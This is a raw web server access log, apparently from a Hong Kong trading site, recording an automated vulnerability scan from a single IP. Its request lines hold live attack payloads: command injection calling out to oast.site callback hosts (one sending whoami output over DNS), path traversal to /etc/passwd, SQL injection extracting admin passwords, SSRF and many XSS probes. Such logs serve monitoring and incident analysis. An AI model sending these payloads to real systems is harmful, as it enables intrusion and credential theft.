[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /v1/warehouse/pending-events HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /user/save HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/operations/ciscosb-file:form-file-upload HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tshirtecommerce/ajax.php?type=svg HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /job/list HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/cstecgi.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bypass/config?type=sqs&keyId=test&key=security&queueUrl=http://d5g6sfahausljekepl20e69izw35bnp3m.oast.site/ HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /getsamplebacklog?arg1=2d0ows2x9anpzaorxi9h4csmai08jjor&arg2=%7b%22type%22%3a%22client%22%2c%22earliest%22%3a%221676976316.328%7c%7cnslookup%20%24(xxd%20-pu%20%3c%3c%3c%20%24(whoami)).d5g6sfahausljekepl208xu7k43sopt61.oast.site%7c%7cx%22%2c%22latest%22%3a1676976916.328%2c%22origins%22%3a%5b%7b%22ip%22%3a%22trade.kingston.com.hk:443%22%2c%22source%22%3a0%7d%5d%2c%22seriesID%22%3a3%7d&arg3=undefined&arg4=undefined&arg5=undefined&arg6=undefined&arg7=undefined HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page?settings[view%20options][closeDelimiter]=x%22)%3bprocess.mainModule.require(%27child_process%27).execSync(%27wget+http://d5g6sfahausljekepl2066dss3p4j153a.oast.site%27)%3b// HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/hassio/app/.%252e/supervisor/info HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/config/application?public=true HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /druid/indexer/v1/sampler?for=connect HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ilias/shib_logout.php?action=logout&return=https://oast.me HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gift-voucher/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=0&cache380Cxzwzjq7i6blHDDq7Pj9xd8p HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /inc/jquery/uploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/snjFooterNavigationConfig?fileName=../../../../etc/passwd&fileMime=$textMime HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/dns HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/editor/tiny/loader.php?rev=a/../../../../html/pix/f/<input><img%20src=x%20onerror=alert(document.domain)>.png HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-login.php HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /views..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cProgramData%5cRepetier-Server%5cdatabase%5cuser.sql%20/base/connectionLost.php HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /client/manage/ourphp_tz.php?act=rt&callback=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(document.domain)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d HTTP/1.1" 3426
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/igd/v1/get-users-data HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/fax_change_faxtrace_settings HTTP/1.1" 199
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mbilling/lib/icepay/icepay.php?democ=380CxoE5vyUDSJq157AVuv4sfdr;curl%20d5g6sfahausljekepl207bh1ytuiwtfmx.oast.site; HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Login.php?f=login HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/add-listing?id=1 HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Servlet/Skins HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads/elfinder/elfinder-cke.html HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /controlplane HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax.php?action=save_user HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /template/custom/content-editor HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default.aspx?years=http://oast.pro HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/ticket/ajax/ajax.php?action=getContacts&email=% HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /forms/doLogin?login_username=admin&password=password$(curl%20d5g6sfahausljekepl206h3phiws7k8zu.oast.site)&x=0&y=0 HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /chat/imController/showOrDownByurl.do?dbPath=../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/popen.cgi?command=type%20C://Windows/win.ini&v=0.1303033443137912 HTTP/1.1" 199
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/2.0/mlflow/model-versions/create HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /goform/aspForm HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app?service=page/SetupCompleted HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /111/rs:fit:400:400:0:0/plain/http://d5g6sfahausljekepl20omc84r5qxthhd.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/built%2F..%2F..%2F/package.json HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mstore-api/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?url=<img/src=\"http://d5g6sfahausljekepl20gmze3arw8nbz3.oast.site\"> HTTP/1.1" 3426
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /enrollment/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /spip.php?page=spip_pass HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp HTTP/1.1" 226
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /main/webservices/additional_webservices.php HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/jmsblog/config.xml HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wlmdeu%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%00index.htm HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws/msw/tenant/%27%20union%20select%20%28select%20ID%20from%20SGMSDB.DOMAINS%20limit%201%29%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%28select%20concat%28id%2C%20%27%3A%27%2C%20password%29%20from%20sgmsdb.users%20where%20active%20%3D%20%271%27%20order%20by%20issuperadmin%20desc%20limit%201%20offset%200%29%2C%27%27%2C%20%27%27%2C%20%27 HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/ult/v2/review-banner-visibility&action=maybe-later&redirect=yes&redirect_url=https://interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/runscript HTTP/1.1" 196
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /inizio.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927379107 HTTP/1.1" -
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/2 HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/session/properties HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /find-a-matchpksyk%22%3E%3Cimg%20src=a%20onerror=alert%28document.cookie%29%3Es9a64 HTTP/1.1" 199
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/server/version HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /creaprezzi.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jeecg-boot/jmreport/show HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /main/webservices/additional_webservices.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/built%252F..%252F..%252F%25E0%25A4%25A/package.json HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /templates/pages/debug_panel.php?id=380CyCS9HCj3Wsy0borZomXJJ5e\"><script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?PHPRC=/dev/fd/0 HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fhwhkbi HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CyCZcnYS3voAUqfmsdgX6DUN HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /b_download/index.html HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /home/courses?query=\"><svg+onload=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /excel.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/dashboard.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/hassio/app/.%09./supervisor/info HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/htmlmgr?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /friendsslty3%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3er5c3m/ajax_invite?mode=model HTTP/1.1" 199
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/setupadministrator-start.action HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/folder?path=%2F HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /loadfile.lp?pageid=Configure HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /friends/ajax_invitej7hrg%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ef26v4?mode=model HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /appliance/login HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ems/cgi-bin/ezrf_upgrade_images.cgi?op_type=deleteprogressfile&progressfile=aXKdO%3Bcurl+d5g6sfahausljekepl207q818s9478hwi.oast.site+%23 HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mifs/aad/api/v2/admins/users HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /templates/editor-preload-container HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pagesi3efi%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ebdk84/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1vLm1vb2RhdGluZ3NjcmlwdC5jb20vbWVldF9tZS9pbmRleC9tZWV0X21l HTTP/1.1" 199
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mifs/asfV3/api/v2/admins/users HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/profile.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /file-manager/ HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?controller=pjFrontEnd&action=pjActionGetLocations&locale=1&locale&hide=0&index=4005&index=0&pickup_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cid=1&view=1&month=7&year=2023&start_dt&end_dt&session_id HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zimbraAdmin/0MVzAe6pgwe5go1D.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /attachment/2/cabba.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/slack/image/slack-image%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/exportCfgwithpasswd HTTP/1.1" 199
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rest/xxxxxxxxxxxxxxx/xxxxxxx?executeAsync HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?color=\"><img+src=x+onerror=confirm(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?mid=nhq0\"><img+src=x+onerror=confirm(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.hsp?passwordExpired=yes&username=\\'-alert(document.domain),// HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax-api/2.0/mlflow-artifacts/artifacts?path=C:/ HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?controller=pjFront&action=pjActionGetBookingForm&session_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&cid=1&view=1&month=7&year=2023&start_dt&end_dt&locale&index=0 HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webauth_operation.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?color=%22%3e%3cimg%20src%20onerror%3dalert(document.domain)%3e%3c%22%27 HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CFIDE/adminapi/base.cfc?method HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CxsADA7LYv71ejTjUpIAeEBR.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?k304=y%0D%0A%0D%0A%3Cimg+src%3Dcopyparty+onerror%3Dalert(document.domain)%3E HTTP/1.1" 3426
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mics/services/MICSLogService HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pig/add-pig.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /print.php?nm_member=<script>alert(document.location)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /custom-report-example/..%5C..%5C..%5Cdeployment%5Csharp%5Cicons%5Chome-app.png HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php HTTP/1.1" 196
[09/Jan/2026:10:51:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
